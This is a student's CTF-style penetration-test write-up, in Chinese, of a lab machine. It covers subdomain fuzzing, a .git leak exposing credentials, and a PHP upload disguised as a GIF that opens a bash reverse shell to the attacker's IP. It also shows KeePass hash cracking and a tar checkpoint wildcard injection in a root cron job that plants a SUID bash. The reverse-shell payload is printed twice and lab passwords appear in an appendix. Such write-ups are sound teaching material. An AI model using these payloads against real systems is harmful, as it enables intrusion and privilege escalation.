---
# System prepended metadata

title: HW7_Pentest_Report E24114029 錢信亦
tags: [Writeup, NCKUCTF]

---

# HW7_Pentest_Report E24114029 錢信亦
> 本次滲透資訊：
> 攻擊者機器（Kali Machine）：192.168.2.128
> 靶機：192.168.2.132

## 資訊蒐集
> 首先！
> 自己平常的起手三件套：nmap, dirb, nikto
> 上完課之後就變這三個：rustscan, gobuster, nuclei
> 收穫良多
> 真的快蠻多的 好用推薦！


那就開始吧
先掃一下 port

Command:
```
rustscan -a 192.168.2.132 -r 1-65535 --ulimit 5000
```
![image](https://hackmd.io/_uploads/H1ZIfWIzgg.png)

目標確認有四個
1. 21: ftp
2. 22: ssh
3. 80: http
4. 8000: http

## 調查 4 個 Port 在幹嘛

照順序看一下：
### ftp
ftp : 沒什麼東西在裡面，但解完後推測這邊可能會有彩蛋（？
![image](https://hackmd.io/_uploads/rkirbxwzgx.png)


### ssh
ssh : 題目敘述有說這邊非正確路徑不要爆破了，所以先暫時略過


### http(80)
http(80) : 既然有網頁娜先在網址列打打看 192.168.2.128:80
會發現重新導向到一個網站 pwn2ooown.zyx
到 /etc/hosts 加一下這個網站
![image](https://hackmd.io/_uploads/B1B6fxvzlx.png)
確認有網站後就可以開始掃路徑了
![image](https://hackmd.io/_uploads/B1cdOxvzgx.png)
發現有 blog，但 blog 本身沒有什麼太有趣的東西
繼續往下掃掃看
![image](https://hackmd.io/_uploads/SkEj_ewMlg.png)
發現有 admin
![image](https://hackmd.io/_uploads/rkXR_evzle.png)
是一個登入頁面
推測帳號密碼應該會在其他地方
所以先去看看 port 8000


### http(8000)
![image](https://hackmd.io/_uploads/S1WzFgDGxe.png)
發現也是一個登入頁面
隨便輸一些東西進去看看
![image](https://hackmd.io/_uploads/BJJwYxwfle.png)
從network那邊可以發現根本就沒有東西送到後端去檢查
推測就是個妥妥的rabbit hole
再看一下網頁原始碼
![image](https://hackmd.io/_uploads/SyUsFxvfex.png)
發現有sqli檢查機制，
一開始我以為這個給 80 port 的提示
暗示 80 port 要用 sqli 繞過
所以花了 3, 4 個小時用sqli爆破 80 port
簡單來說我還是踩進rabbit hole了。

總之，
反覆撞牆測試都沒結果後，才突然想起來，好像subdomain還沒掃過

Command:
```
ffuf -u http://pwn2ooown.zyx/ -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -H "Host:FUZZ.pwn2ooown.zyx" -ac
```
![image](https://hackmd.io/_uploads/Bk5-ilDfge.png)
發現有一個 test
先把他加進/etc/hosts
![image](https://hackmd.io/_uploads/SJ6mjgwflg.png)
瀏覽器打開後發現只有一行文字而已，但打開原始碼會發現
![image](https://hackmd.io/_uploads/rJe5sePGll.png)
唉呦不錯喔 是線索
![image](https://hackmd.io/_uploads/HJ7pilPzle.png)
開掃




## 通往 Shell 的第一步
### .git 洩漏
![image](https://hackmd.io/_uploads/rJr11bDzex.png)
.git出現大概推測就是git洩漏了

Command:
```=shell
git clone https://github.com/arthaud/git-dumper.git
git-dumper http://test.pwn2ooown.zyx/.git/ ./DumpedHere\ncd ./DumpedHere
```

進到 .git 資料夾後看一下 log
![image](https://hackmd.io/_uploads/Hyh6mZPzle.png)
Testing的部分應該會跟登入資訊有關係，也show一下看看
![image](https://hackmd.io/_uploads/ryn8VWvflg.png)
搜刮到一個明文密碼了
也可以成功登入 80 Port
進到管理者頁面


### Reverse Shell
![image](https://hackmd.io/_uploads/B1AkSWPzle.png)
發現有一個地方可以上傳檔案
只接收圖片檔，所以reverse shell如下：
```=php
GIF89a;
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.128/9001 0>&1'");
?> 
```

成功獲得shell之後先升級一下

```=shell
# 獲得更好的 TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

# 按 Ctrl+Z 把 shell 放到背景
# 然後在 Terminal 輸入：
stty raw -echo; fg

# 按兩次 Enter
```

成功拿到www-data的shell
![image](https://hackmd.io/_uploads/HyM8P-DMgx.png)


## 接著當然是提權了
### 偵查提權的洞
上課的時候有提示到 tryhackme 的 Linux PrivEsc Arena 有類似的方法
撇除掉需要sudo才能完成的(權限不夠大沒辦法用)
試了一輪之後有發現一個有趣的東西
Command:
```
cat /etc/crontab
```
![image](https://hackmd.io/_uploads/BkJtdbvGge.png)
有一個 root 每分鐘都會執行的檔案
趕快飛過去看一下
![image](https://hackmd.io/_uploads/HyWhdbwzgl.png)
backup.sh 很明顯有一個 cron wildcards 漏洞
![image](https://hackmd.io/_uploads/rkdyFbDGel.png)
可是執行的前提是
必須要有vincent的權限，才能放東西到他的 test 資料夾裡面
可是這時候也可以發現，
資料夾有一個檔案，Database.kdb
我參考了 https://file.org/extension/kdb
發現這是一個金鑰資料庫檔案
應該會跟密碼有關
開始對他下手！

### 提權到 vincent
把kdb檔nc到本機後先轉成john看得懂的樣子再爆破
Command:
```
keepass2john Database.kdb > keepass_hash.txt
john --wordlist=/usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000000.txt keepass_hash.txt
john --show keepass_hash.txt
```
![image](https://hackmd.io/_uploads/B1eCqZPfge.png)


接著可以用 kpcli 去打開這個資料庫
Command:
```
# 安裝 kpcli
sudo apt install kpcli

# 開啟資料庫
kpcli
kpcli:/> open database.kdb
# 輸入密碼

# 列出內容
kpcli:/> find
```
![image](https://hackmd.io/_uploads/H1GYj-Dfxe.png)

再一次
![image](https://hackmd.io/_uploads/HJ7pilPzle.png)
成功提權成 vincent！
![image](https://hackmd.io/_uploads/SyVW3-DGgl.png)


### 提權成 root
我們可以繞回一開始發現的 cron wildcards 漏洞了
所以用 tryhackme 裡面提到的 checkpoint 的用法來新增檔案
![image](https://hackmd.io/_uploads/B1aO3Wvzlx.png)
Command:
```
touch /home/vincent/test/--checkpoint=1
touch /home/vincent/test/--checkpoint-action=exec=sh/ privesc.sh
vim privesc.sh
```
privesc.sh裡面放以下內容
```
#!/bin/bash
cp /bin/bash ./rootbash
chmod +s ./rootbash
```
![image](https://hackmd.io/_uploads/B1zQ6-PMxg.png)
![image](https://hackmd.io/_uploads/r1SHpbvGll.png)
因為 root 執行的 backup.sh 本身會每分鐘去跑以上的程式碼
*符號 會把所有檔案都吃進去，checkpoint會被當成參數
程式碼就可以植入裡面，幫我們把bash複製出來加上SUID讓我們用

所以最後一步了，
執行一下 rootbash！
![image](https://hackmd.io/_uploads/SyibR-wGlx.png)



## 附錄
網站帳密：
```
username = "handsomepwn2ooown"
password = "1`gTh&^8nsg#$"
```
金鑰資料庫密碼：`YDVhlAkARDDyx1fdt3FUaQcbVsiibuON`
Reverse Shell code:
```
GIF89a;
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.128/9001 0>&1'");
?>
```